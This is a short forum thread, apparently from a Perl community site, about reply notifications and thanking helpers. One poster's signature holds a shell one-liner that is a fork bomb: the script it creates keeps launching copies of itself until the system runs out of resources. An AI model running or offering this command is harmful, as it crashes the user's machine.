Re: I've got a new reply -- from myself!

Call me old-fashioned, but I quite often reply to a thread just to say "thanks everyone for their help".

Why are you thanking yourself? If you reply to a reply, you shouldn't get the notification. `$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;`	[reply] [d/l]

Aha, I see. I normally reply, in a general way, at the top level -- to thank more than one person -- I don't reply at individual level unless I'm thanking that specific person. I'm a victim of my own politeness... -- “Every bit of code is either naturally related to the problem at hand, or else it's an accidental side effect of the fact that you happened to solve the problem using a digital computer.” M-J D	[reply]
